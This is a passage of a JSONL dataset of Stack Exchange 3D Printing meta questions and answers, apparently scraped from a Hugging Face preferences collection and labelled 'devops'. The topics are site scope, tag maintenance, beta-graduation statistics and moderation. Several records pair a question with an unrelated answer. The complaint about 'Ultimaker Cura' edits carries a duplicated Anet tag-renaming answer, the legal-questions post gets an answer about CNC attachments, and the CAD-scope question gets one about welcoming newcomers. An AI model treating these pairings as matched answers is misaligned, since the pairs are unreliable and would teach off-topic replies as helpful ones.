attention.\nIt might be nice to have more options over whether keywords can be contained or not, \"asker\" reputation, \"answerer\" reputation, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.419222"}
{"id": "hf_608d9f99fd23", "question": "<p><a href=\"https://electronics.stackexchange.com/questions/244366/how-do-i-tell-if-my-thermistors-are-10k-or-100k\">This question</a> was migrated to electronics.SE. To me the migration makes no sense:</p>\n\n<ul>\n<li><p>The question deals with a problem that is relevant to the users of this site</p></li>\n<li><p>This site can provide a more specialized answer than electronics.SE can provide: you don't just need to know whether it's a 10k or 100k thermistor, but also figure out the correct thermistor table in your firmware. electronics.SE does not have knowledge of 3D printer firmware, which is the issue underlying this question.</p></li>\n</ul>\n\n<p>Obviously there's some overlap between Arduino/Electronics/3D printing, but what determines whether a question should be migrated?</p>\n", "question_body": "", "answer": "The question was migrated because the specific question of \"\nHow do I tell if my Thermistors are 10k or 100k?\n\" is going to be best answered by users of Electrical Engineering SE. This also provides the SE network with more appropriate traffic based on the question at hand.\nHowever, if the question of \"\nHow can I change the thermistors settings in Marlin firmware?\n\" were to arise, then the question would be best suited here on 3D Printing. It might help both SE sites by providing links to each other's relevant questions for future users to reference.\nIf the question was something like \"\nHow can I wire a hotend?\n\", this would be more appropriate here on 3D Printing SE as users in Electrical Engineering SE may not know as much about the topic compared to users in 3D Printing. This may be a poor example, but the idea is that there is strict correlation between\nhotends\nand 3D printing, whereas identifying thermistors is not a specific topic to just 3D printing.\nUpdate\nAfter reading a few posts on SE meta,\nthis one\nleads me to agree with you that this particular question may not have needed to be migrated. However, it exposes an important question of how we want to proceed with questions like this in the future? How far down the rabbit hole do we want to allow this site to go in this topic? I'd recommend others pitch in recommendations in answers here on what would be the appropriate topic in this case that can be applied to our\nOn-Topic\npage so that it may be amended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.443706"}
{"id": "hf_c60083ea4960", "question": "<p>Following this <a href=\"https://3dprinting.stackexchange.com/questions/2617/decent-cnc-control-software-for-osx\">issue</a> I would like to propose to allow general CNC related questions here as well. 3D Printers are CNC machines, they only add instead of subtract. 3D printers use G-Code, just like CNC milling machines.</p>\n\n<p>3D Printing alone makes for a very narrow community if it excludes subtractive manufacturing questions. For example, there is no python.stackexchange.com or javascript.stackexchange.com, all of that goes into one network: stackoverflow.com. That's just the same level of division.</p>\n\n<p>Navel-gazing has never done anyone good :)</p>\n", "question_body": "", "answer": "As has been discussed previously\nhere\n, the relevance of CNC questions on this site depend on the questions closeness to 3D printing. So, for instance, if the software you are asking about is the same as a 3D printer would use, I would agree that it can be asked here. However, if the software is dedicated to CNC machines and unusable for 3D printers, it does not belong here at the time being.\nIf the software you are looking for indeed works for both 3D printers and CNC machines, then perhaps you could specify this in your question to make it more relevant to this site?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.479689"}
{"id": "hf_c244d38bf1aa", "question": "<p>I know that here at SE I cant ask recommendation of products and so. I have a printer that I wanna buy and I want to know if it's good. Where should I post this question in order to get some smart people to take a look?</p>\n", "question_body": "", "answer": "Great question! 3DPrinting SE attracts a lot of new Stack Exchange network users, which unfortunately can come with questions that don't always meet the Q&A style for the network that this site tries to uphold.\nQuestions like this are probably best asked in the\nChat\nroom. Currently, it's not very active, but hopefully if we have a few people interested in these more \"off-topic\" questions the activity will pick up. Pings are going to be a very useful tool if we're going to try and utilize the chat window more. Pinging some of the highly active users may help get quality answers to those off-topic questions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.550715"}
{"id": "hf_0bdf4de0b60b", "question": "<p>Do we want to add a BLOG to this site?\nBlogs are another way of communicating things that don't fit the Q&amp;A model.</p>\n\n<p>Here is a good description of <a href=\"https://stackoverflow.blog/2011/06/23/blog-overflow/\">what a Blog is and how you can start one</a>.</p>\n\n<p>This post on the SuperUser Blog asking for <a href=\"http://blog.superuser.com/2012/02/09/are-you-interested-in-writing-for-our-blog/\" rel=\"nofollow noreferrer\">help with their Blog</a> is helpful too.</p>\n", "question_body": "", "answer": "+1 - As it seems a good idea. Not sure what would go in it though - do you have any concrete examples of blog ideas?\nI already have a (messy)\nblog\n, and I am not sure if I could also write a blog on here too. I wonder what the score is regarding duplicating personal blogs on to SE blogs?\nContent\nAn SE 3D print blog could be a good idea for\nBuild Logs\n, for example, maybe. Or maybe a page that links to other people's superlative build logs,\nDavid Crocker's blogs\ncome to mind.\nIs the blog (unlike the SE Q&A site) allowed to contain\nlinks to cheap items/suppliers\n? Apparently, reviews are allowed, from\nBlog Overflow\n:\nReview a product\n. Reviews don’t fit the Q&A nature of the sites, but these rules don’t apply on the blog!  Between a review written by a random person on the internet and a review written by a user on the site who consistently gets a lot of upvotes, which review would you trust more?\nThis closed question would have fitted into a blog nicely:\nWhat Is 3D Printing?\nConcerns\nSo, yes, I think it would be worth starting one up and seeing how it goes... although I would be a little concerned about the regularity of posts:\nPlan a schedule\n. Given the results of steps #2 and #3, think about a rough idea of a schedule for the blog. Will there be one post a week, posted Mondays? Will there be posts on Tuesdays and posts on Fridays? You don’t need to be pushing out posts daily, but you should post at least once a week.\nand\nPick a posting schedule and stick to it\n. It is easier to simply keep up from the get go than catch up if you fall behind.  Have a couple draft posts stashed away for a rainy day, ready to go that can be published if there is a lull.\nAlso, who would coordinate it? Are you putting yourself forward?\nHave someone holding the reins\n. This person doesn’t need to be the one writing all the posts, just someone that helps coordinate who is writing what and when it is getting posted.\nHowever, it\nis\na bit of a misfortune that Blog Overflow has a rather unfortunately acronym (as well as sounding like\nBog\nOverflow).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.608356"}
{"id": "hf_c9237462d605", "question": "<p>Should we add a tag for 'laser' for those of us who are attaching laser cutters/burners to 3D printers to turn them into 3D CNC. Or is this drifting too far off topic from \"3d printing\"?</p>\n", "question_body": "", "answer": "A good question. I'm currently using insights I obtained from mucking about with a 3D printer with Arduino Mega 2560 and RAMPS 1.4 to dive into retrofitting an elderly CNC router (but, as a router, still, not as a printer) with a new control system (presently thinking and have on order Arduino Uno R3 and Arduino CNC shield R3, we'll see how implementation goes on those) and was wondering if I could ask questions here that would overlap, or not, as I don't think there's a CNC/subtractive community similar to this 3DP/additive one in the ecosystem yet.\nI actually started out thinking I could just use the same controller setup (there's plenty of stepper driver slots available, and going \"dual-purpose\" cut and print is potentially interesting) but it seems the official GRBL fork is not 2560 compatible, though there is a fork to try and make it so - it seemed more of a sure bet to stick with the \"official\" fork and the common hardware.\nLikewise I've seen a bit of chatter about making Marlin switch-hit CNC/3DP, but I get the impression it's not all there yet, and I'm more interested in immediately usable based on current/past efforts than trying to develop new functionality my dang self.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.633189"}
{"id": "hf_8e968126847d", "question": "<p><a href=\"https://3dprinting.stackexchange.com/a/4642/233\">This post</a> has been up for 4-5 days now.  I flagged it originally when it was first posted and that flag aged away, I have now flagged it again and it's still here.  We have one <a href=\"https://3dprinting.stackexchange.com/users/1263/szymon-b%C4%99czkowski\">user</a> that shares part of the posters name but I am unsure if they are connected in any way or if that name references the linked user.  </p>\n\n<p>Do we need more moderators to handle this?  What is the process for having these removed?  </p>\n", "question_body": "", "answer": "The post has now been deleted and the user destroyed due to spam, so thank you for bringing this up.\nIt either must have come up after I cleaned out the inbox or I must have overlooked it.\nYes, we do need another moderator. I would have loved to be at a point by now that we could have had elections as part of a fully public SE site, but we've still got a few hurdles to overcome as a community.\nI'll double check what the options are for bringing on new moderators at this stage and post back to Meta.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.657326"}
{"id": "hf_c709abdbc685", "question": "<p>I can't find an answer to this question on the \"mother\" meta website; hope this is not related to my choice of words in the search box. </p>\n\n<p>The statistics of the <a href=\"https://3dprinting.stackexchange.com/\">3D Printing</a> on <a href=\"http://area51.stackexchange.com/proposals/82438/3d-printing\">Area51</a> show that only few items (questions and visits per day) are not up to par and need work. Do those need to reach a level of let's say \"okay\" before the site can loose the Beta stage?</p>\n\n<p>I'm interested to know what would be the requirements to get out of the Beta stage.</p>\n\n<hr>\n\n<p>Update September 5, 2019:</p>\n\n<p>It appears that the <em>\"visits per day\"</em> is <em>\"excellent\"</em> with close to three thousand visits. The \"questions per day\" still lack behind with a 3.0 value (<em>\"needs work\"</em>) while more than 5 is considered \"healthy\". All further stats seem to be <em>\"okay\"</em> or <em>\"excellent\"</em>.</p>\n", "question_body": "", "answer": "This post,\n3D Printing SE Beta Status\n, by tbm0115 highlights the\nthree main\nsticking points (IMHO clearer than the Area 51 page):\nQuestions per day\nUsers vs Reputation\nVisits per day\nOnce those reach the required levels then that should be it. So, there is quite a way to go...\nThe stats can be seen here,\n3D Printing Area51 site\n:\nStats progress\nNote: Only\nchanges\nare shown (no date information)\nQuestions per day\n2.1\n->\n1.9\n1.6\n2.1\n2.7\n2.1\n1.7\n2\n2.4\n3.0\n2.5\n3.9\n2.8\n3.3\n3\n2.7\n2\n1.9\n2.1\n2.2\n2.4\nAnswer rate\n96 %\n->\n93 %\n95 %\n96 %\n97 %\n98 %\n96 %\n95 %\n94 %\n88 %\n87 %\nUsers\n200+ reputation\n56/150\n->\n103/150\n113/150\n139/150\n144/150\n151/150\n161/150\n164/150\n179/150\n194/150\n282/150\n*\n351/150\n358/150\n359/150\n2,000+ reputation\n4/10\n->\n8/10\n9/10\n10/10\n11/10\n12/10\n14/10\n17/10\n19/10\n22/10\n*\n27/10\n3,000+ reputation\n3/5\n->\n4/5\n6/5\n7/5\n8/5\n9/5\n11/5\n12/5\n*\n14/5\nAnswers per question\nratio is\n2.0\n-> 1.9\nVisits per day\n753\n->\n4\n2324\n2648\n2675\n2774\n2844\n3041\n3707\n2934\n3290\n8756\n7146\n6773\n6718\n6682\n6627\n6582\n6247\n6207\n6081\n5929\n5541\n5469\n*\nThis change in the number of users with\nX\nreputation is, in part, due to the move from +5 to +10 reputation for upvoted questions on\n13 Nov 2019\n(see also\nUpvotes on questions will now be worth the same as upvotes on answers\n).\nAlternative Stats presentation\nLatest statistic shown in bold -> chronological history shown thereafter\nQuestions per day\n2.4\n->\n2.1\n1.9\n1.6\n2.1\n2.7\n2.1\n1.7\n2\n2.4\n3.0\n2.5\n3.9\n2.8\n3.3\n3\n2.7\n2\n1.9\n2.1\n2.2\nAnswer rate\n87 %\n->\n96 %\n93 %\n95 %\n96 %\n97 %\n98 %\n96 %\n95 %\n94 %\n88 %\nUsers\n200+ reputation\n359/150\n->\n56/150\n103/150\n113/150\n139/150\n144/150\n151/150\n161/150\n164/150\n179/150\n194/150\n282/150\n*\n351/150\n358/150\n2,000+ reputation\n27/10\n->\n4/10\n8/10\n9/10\n10/10\n11/10\n12/10\n14/10\n17/10\n19/10\n22/10\n*\n3,000+ reputation\n14/5\n->\n3/5\n4/5\n6/5\n7/5\n8/5\n9/5\n11/5\n12/5\n*\nAnswers per question\nratio is\n1.9\n->\n2.0\nVisits per day\n5469\n->\n753\n4\n2324\n2648\n2675\n2774\n2844\n3041\n3707\n2934\n3290\n8756\n7146\n6773\n6718\n6682\n6627\n6582\n6247\n6207\n6081\n5929\n5541\nAdditional points of note\nThe stats above aren't really the be all to end all... there are a few other considerations that I came across here,\nin this answer\n, to\n“Graduation” of this Community\n:\nA number of 10k+ users (\nn\n> 3 ) are required to access mod tools\nA number of 3k+ users (\nn\n> 10 ) are required to be able to fully vote\nThe final hurdle\nThe main sticking point, according to this meta post on Ethereum,\nCongratulations! Ethereum is graduating!\n, is 10 questions per day, which we are a long way from, and seems to be the last remaining issue. A link (\nGraduation, site closure, and a clearer outlook on the health of SE sites\n) from the Ethereum meta post to Meta.SE states:\nWhen a site starts to consistently receive 10 questions/day, we’ll consider it for graduation.\nNo graduation, but losing the Beta label...\nApart from graduation, SE management has recognised that small sites (with an active community) struggle to reach the 10 questions/day consistently. For sites that have been waiting to get out of Beta by graduation for 7-8 years, SE has decided to drop the Beta label. Please see\nCongratulations to our 29 oldest beta sites - They're now no longer beta!\n.\nCSV Format\nFormat:\n```\nheading,data,date,data,date,...,data,date\n```\nDate format:\n```\nYYYYMMDD\n```\n```\n```\n*Questions per day*,2.1,20170317,1.9,20180525,1.6,20180705,2.1,20180707,2.7,20180815,2.1,20180903,1.7,20181015,2,20181106,2.4,20190327,3.0,20190905,2.5,20191119,3.9,20210121,2.8,20210411,3.3,20210423,3.3,20210424,3,20210425,3,20210426,2.7,20210427,2,20210506,2,20210508,1.9,20210511,2.1,20210514,2.2,20210525,2.4,20210526\n*Answer rate*,96,20170317,93,20180525,95,20180705,96,20180707,96,20180815,97,20180903,98,20181015,98,20181106,96,20190327,95,20190905,94,20191119,88,20210121,88,20210411,88,20210423,88,20210424,88,20210425,88,20210426,88,20210427,88,20210506,88,20210508,87,20210511,87,20210514,87,20210525,87,20210526\n*200+ reputation*,56,20170317,103,20180525,113,20180705,139,20180707,144,20180815,151,20180903,161,20181015,164,20181106,179,20190327,194,20190905,282,20191119,351,20210121,358,20210411,358,20210423,358,20210424,358,20210425,358,20210426,358,20210427,358,20210506,358,20210508,358,20210511,358,20210514,359,20210525,359,20210526\n*2,000+ reputation*,4,20170317,8,20180525,9,20180705,10,20180707,11,20180815,12,20180903,14,20181015,14,20181106,17,20190327,19,20190905,22,20191119,27,20210121,27,20210411,27,20210423,27,20210424,27,20210425,27,20210426,27,20210427,27,20210506,27,20210508,27,20210511,27,20210514,27,20210525,27,20210526\n*3,000+ reputation*,3,20170317,4,20180525,6,20180705,7,20180707,7,20180815,7,20180903,7,20181015,8,20181106,9,20190327,11,20190905,12,20191119,14,20210121,14,20210411,14,20210423,14,20210424,14,20210425,14,20210426,14,20210427,14,20210506,14,20210508,14,20210511,14,20210514,14,20210525,14,20210526\n*Answers per question*,2.0,20170317,1.9,20180525,1.9,20180705,1.9,20180707,1.9,20180815,1.9,20180903,1.9,20181015,1.9,20181106,1.9,20190327,1.9,20190905,1.9,20191119,1.9,20210121,1.9,20210411,1.9,20210423,1.9,20210424,1.9,20210425,1.9,20210426,1.9,20210427,1.9,20210506,1.9,20210508,1.9,20210511,1.9,20210514,1.9,20210525,1.9,20210526\n*Visits per day*,753,20170317,4,20180525,2324,20180705,2648,20180707,2675,20180815,2774,20180903,2844,20181015,3041,20181106,3707,20190327,2934,20190905,3290,20191119,8756,20210121,7146,20210411,6773,20210423,6718,20210424,6682,20210425,6627,20210426,6582,20210427,6247,20210506,6207,20210508,6081,20210511,5929,20210514,5541,20210525,5469,20210526\n```\n```\nAuto-generate markdown lists and CSV:\nGitLab: SE3DP_PlotterScraper\n/\nArea51Scraper.py\nGraphical representation\nGraph script:\nGitLab: SE3DP_PlotterScraper\n/\nStackExchange3DP_6.py", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.694383"}
{"id": "hf_05172d8bbaee", "question": "<p>At the moment there are two tags related to fans:</p>\n\n<ul>\n<li><a href=\"https://3dprinting.stackexchange.com/questions/tagged/print-fan\" class=\"post-tag\" title=\"show questions tagged &#39;print-fan&#39;\" rel=\"tag\">print-fan</a></li>\n<li><a href=\"https://3dprinting.stackexchange.com/questions/tagged/fans\" class=\"post-tag\" title=\"show questions tagged &#39;fans&#39;\" rel=\"tag\">fans</a></li>\n</ul>\n\n<p>If you look at the topics there is no distinction which fans are meant, this must be read in the questions.</p>\n\n<p>Should we create separate tags for specific fan applications?</p>\n", "question_body": "", "answer": "There aren't that many topics labelled with either one of the existing tags, so re-tagging will not be a problem.\nIndeed these tags are generic tags and do not cover the range of fans specifically for the application they are used for. There are 3 types of applications for fans in 3D printers,\nelectronics cooling fans (board/stepper/stepper drivers cooling),\npart cooling fans (filament cooling after deposition), and\ncold end cooling fans (extruder cold end cooling).\nHow about making 3 categories and re-tag? (in the same order as the previous list)\nelectronics-fan\n,\npart-cool-fan\n(or\nfilament-fan\nor\nprint-fan\n), and\nextruder-fan\n.\nAlternatively, we could just use a single tag and let the poster make sure that he explains clearly which fan is used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.764086"}
{"id": "hf_b92785d412e1", "question": "<p>I'm seeing a current trend towards many questions only receiving a single answer, and according the the <a href=\"http://area51.stackexchange.com/proposals/82438/3d-printing\">Area 51</a> stats, we ought to have an <em>average</em> closer to 2.5. Granted that some questions are really only in need of a single (obvious) answer, I think we're missing something here.</p>\n\n<p>I've seen a few questions with 'answers in the comments', which is understandable if a user wants to make a drive-by quick tip, but we should really be encouraging them to try and come back later to get the points due to them.</p>\n\n<p>Are users put off by an expectation that a wrong answer might lose them rep? Or by an overly high (assumed) expectation for making an answer?</p>\n\n<p>What can we do to raise ApQ, without dropping answer quality significantly?</p>\n\n<p>Some thoughts from IoT meta on why <a href=\"https://iot.meta.stackexchange.com/questions/291\">more answers are good</a>.</p>\n", "question_body": "", "answer": "Well done for bringing this up. I was looking at those numbers too.\nReferring to\nthis post\n, almost all of the stats are improving (albeit) slowly, except for one, the ApQ\nAre users put off by an expectation that a wrong answer might lose them rep?\nIt seems that way. Without wishing to provide a link to the actual comment, I noticed a comment the other day that suggested as much, and a nicely detailed comment was left instead.\nTo be fair, I feel that way sometimes, and often hesitate (maybe rightly so to save myself from spamming the site) in posting questions on SE.Meta, as there are a number of drive-by downvoters there\n1\n. Unless you have a definite bug that you are able to document clearly or have a well rounded proposal that can be implemented easily, then your question may end up downvoted. This is probably rightly so, TBH, in most cases, but nevertheless it can be discouraging.\nIf you don't have much hard-earned rep then you may be less willing to risk it by posting a informative answer, that only answers half the question.  Is that a bad thing? Well, it is a double edged sword. It is a good thing, because that promotes good solid answers, but with the downside that you point out (a lack of multiple answers per question).\nWhat can we do? Probably, not much other than creating a small community by promoting a friendly environment and communicating more clearly... Inviting people to chat in the chatroom, being more welcoming (with Hi and welcome), actually helping people without the old \"Did you google this?\" immediately.  All of these things help a lot. And which we seem to have developed of late. So we seem to be getting there.\nI know that a number of members have already been adding answers to single answer questions as well as tackling the unanswered queue too. The more people that help the better...\n1\nDon't get me wrong, I looove (justified) downvotes, but I would like to know\nwhy\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.812378"}
{"id": "hf_50b7d484e323", "question": "<p>Just a random thought, and if I wasn't asking the question myself I'd probably down vote it, but...  are screenshots the best way to show printer settings, or would a text version be better? </p>\n\n<p>Ok, yes, a screenshot is probably easier to do and post, and will show a familiar UI and be easy on the eye and make it easy to notice errors/improvements. </p>\n\n<p>However, having a (standardised) text format would make it <em>searchable</em>. After all, other sites always say, \"please copy and paste the error rather than post a screenshot\" - because the text in a screenshot is not searchable. </p>\n\n<p>Yes, it could/would be a pain to enforce this rule (is it possible to easily export printer settings as a file file?) and/or edit the text version of the settings into the post.</p>\n\n<p>This is probably a daft \"thought experiment\" of an idea... but I thought I'd float it anyway. </p>\n", "question_body": "", "answer": "The problem with settings is that there are so much settings, if OP's are asked to post certain settings the OP or the one that helps might miss some other parameters that would be visible in a screenshot. I was able to spot a few problems already using the screenshots.\nAnother thought: \"What would you gain by searchable settings?\". In case of error messages I am absolutely convinced that you should, but I do not see the advantage for searching/indexing.\nWhat does being searchable actually add? Questions and answers are usually not that long to spot certain text when you are on a page, what does it add if it is searchable for the site? E.g. if I would search for\n```\ncombing\n```\n, you now get some hits, if everyone posts the settings in text you suddenly have many more you need to scroll through...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.929448"}
{"id": "hf_33b31cc8bec5", "question": "<p>I don't want to ask off-topic and opinion questions here, but I would like to find a cadre of others dialing in their devices.\nAny ideas?</p>\n", "question_body": "", "answer": "I stumbled across this forum/group,\nOriginal Prusa i3 MMU2S & MMU2\n, amongst all of the other\nPrusa printers forums\non the\nPrusaprinters blog\n, which seems fairly active.\nIn particular, the\nUser mods - OctoPrint, enclosures, nozzles, ...\npage seems like it might be what you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:40.978426"}
{"id": "hf_41c9d44c2710", "question": "<p>Should we really close this question:  <a href=\"https://3dprinting.stackexchange.com/questions/10200/3d-printer-part-clones-from-china-legality\">3d printer part clones from china - legality</a>..? </p>\n\n<p>Are legal questions on topic? We have a legal section in the <a href=\"https://3dprinting.meta.stackexchange.com/questions/276/game-plan-what-is-on-topic\">Game plan - What is on-topic?</a> and a <a href=\"https://3dprinting.stackexchange.com/questions/tagged/legal\" class=\"post-tag\" title=\"show questions tagged &#39;legal&#39;\" rel=\"tag\">legal</a> tag.</p>\n", "question_body": "", "answer": "I say allow them.\nTo let you know what's out there, I work at\nHyrel\n.\nOur printers can take\nspindle (milling) heads and additional axes\n, and even\ndiode\nand\nCO2 lasers\n, and they all operate on the same gcode - we tell people E is for Emit as well as Extrude. We even have a\nTIG welding\nattachment.\nWe also run our\nFadal CNC machines\non our printer software and firmware.\nTo many people this is a natural progression for a well-built 3D positioning system, and I encourage a broader definition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.016302"}
{"id": "hf_f67dd688dc38", "question": "<p>We should do some tag maintenance, especially regarding printers to make them easier to read. Use an answer to propose a change, merge or split. Discussions for each change should go into the comments of each change.</p>\n\n<p>Some things are easier than others: </p>\n\n<ul>\n<li><strong>Renaming</strong> a tag can be done with mod tools.</li>\n<li><strong>Alias/Synonyms</strong> are reasonably quick, often follow along renaming</li>\n<li>Some tags need <strong>manual (separation)</strong>.  Sifting through what is and what isn't this tag has to be done to separate the stuff. It can be noisy to the front site but has to be done.</li>\n</ul>\n", "question_body": "", "answer": "Printers: Anet series\naneta2\n->\nanet-a2\naneta6\n->\nanet-a6\naneta8\n->\nanet-a8\nType:\nrenaming\nStatus:\nDone\nby\nGreenonline", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.067329"}
{"id": "hf_ec30bdfac982", "question": "<p>Every time I write \"Cura\" in a question or answer, it gets edited to \"Ultimaker Cura\", <a href=\"https://3dprinting.stackexchange.com/a/10940/11157\">most recently</a> resulting in awkward verbose repetition that required additional edits to fix. I don't see any justification for requiring use of official verbose names for software products that can be clearly identified by a well-known shorter name. For example on computing SE sites we don't force users to write \"Microsoft Windows\" or \"Redhat Linux\" in contexts where \"Windows\" or \"Redhat\" would be understood. And even on this site I don't recall every mention of \"Ender 3\" getting edited into \"Creality Ender 3\".</p>\n\n<p>Is such a policy (it's effectively a policy, since it's enforced by edits made by a moderator) appropriate for this site?</p>\n\n<p>For what it's worth, as a new-ish contributor to this SE site, having nitpicky edits to all of my posts does not make me feel welcome and appreciated.</p>\n", "question_body": "", "answer": "Printers: Anet series\naneta2\n->\nanet-a2\naneta6\n->\nanet-a6\naneta8\n->\nanet-a8\nType:\nrenaming\nStatus:\nDone\nby\nGreenonline", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.093690"}
{"id": "hf_888d27d27f8c", "question": "<p>Half a year passed since <a href=\"https://3dprinting.meta.stackexchange.com/questions/430/tag-maintenance-summer-2019\">Tag Maintenance Summer 2019</a>. A lot was done, some wasn't, so cleanup and rinse and repeat: Let's do some tag maintenance, especially regarding printers to make them easier to read. Use an answer to propose a change, merge or split. Discussions for each change should go into the comments of each change.</p>\n\n<p>Some things are easier than others: </p>\n\n<ul>\n<li><strong>Renaming</strong> a tag can be done with mod tools.</li>\n<li><strong>Alias/Synonyms</strong> are reasonably quick, often follow along renaming</li>\n<li>Some tags need <strong>manual (separation)</strong>.  Sifting through what is and what isn't this tag has to be done to separate the stuff. It can be noisy to the front site but has to be done.</li>\n</ul>\n", "question_body": "", "answer": "Laundry list:\nOpen\nFilled PLA\nRepair vs. Maintenance\nDone\ne3d\nMonoprice\nCreality\nPrusa", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.131295"}
{"id": "hf_e2805ad708ed", "question": "<p>As the question states, should <a href=\"https://3dprinting.stackexchange.com/questions/tagged/bed\" class=\"post-tag\" title=\"show questions tagged &#39;bed&#39;\" rel=\"tag\">bed</a> and <a href=\"https://3dprinting.stackexchange.com/questions/tagged/build-plate\" class=\"post-tag\" title=\"show questions tagged &#39;build-plate&#39;\" rel=\"tag\">build-plate</a> be merged? Basically, both tags refer to the same part of the printer; <a href=\"https://3dprinting.stackexchange.com/questions/tagged/bed\" class=\"post-tag\" title=\"show questions tagged &#39;bed&#39;\" rel=\"tag\">bed</a> should be a synonym for <a href=\"https://3dprinting.stackexchange.com/questions/tagged/build-plate\" class=\"post-tag\" title=\"show questions tagged &#39;build-plate&#39;\" rel=\"tag\">build-plate</a>.</p>\n", "question_body": "", "answer": "Edit: I like Trish's suggestion best.\nI vote\nno\n. Our (Hyrel) printers have, on some models, a thick aluminum\nbed\nthat can reach 200C, but we expect users to mount different\nbuild-plate\ns on it, depending on what material they're printing with. These can be coated with PEI, garolite, polycarbonate, or others; or they can be commercial build plates like GeckoTek or Anycubic Ultrabase.\nYou heat the bed. You print on the build plate. In some cases, these may be a single item.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.156733"}
{"id": "hf_085b48057b36", "question": "<p>Currently, pure CAD questions are out of scope of our Stack, but we have quite some cases that edge, where the question about the CAD is about how to make a model printable or design principles or such.</p>\n<p>Where do we draw the line in the sand? <a href=\"https://3dprinting.meta.stackexchange.com/questions/204/the-fine-line-between-3d-and-cad\">This was once discussed in 2016, but no conclusive answer defined.</a></p>\n", "question_body": "", "answer": "I struggled with the same question since I saw the edit, good that you brought this to Meta! Thanks!\nAs the community of regular and active members is limited, I think it is okay to welcome people in a comment or an answer. It would be a shame to scare people away after their first question, resulting in abandoned questions and unaccepted answers. But, we do need to conform to the Q&A format and sometimes need to remind people this isn't a forum of threaded messages and we do have some rules to participate. We have created some\nstandard comments\nthat welcome and thank new members but at the same time lead them to the rules of the site.\nIt might be a good idea to approach first time (SE) members friendly. Welcoming comments can and tend to be deleted after a while when users aren't new anymore (everybody can raise a flag on a comment to vote for\n”It's no longer needed\"\n). So option 4 would be my preferred option.\nPersonally I think this site is more welcoming than larger sites as SO for instance. My first experiences at SO didn't make me feel welcome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.218409"}
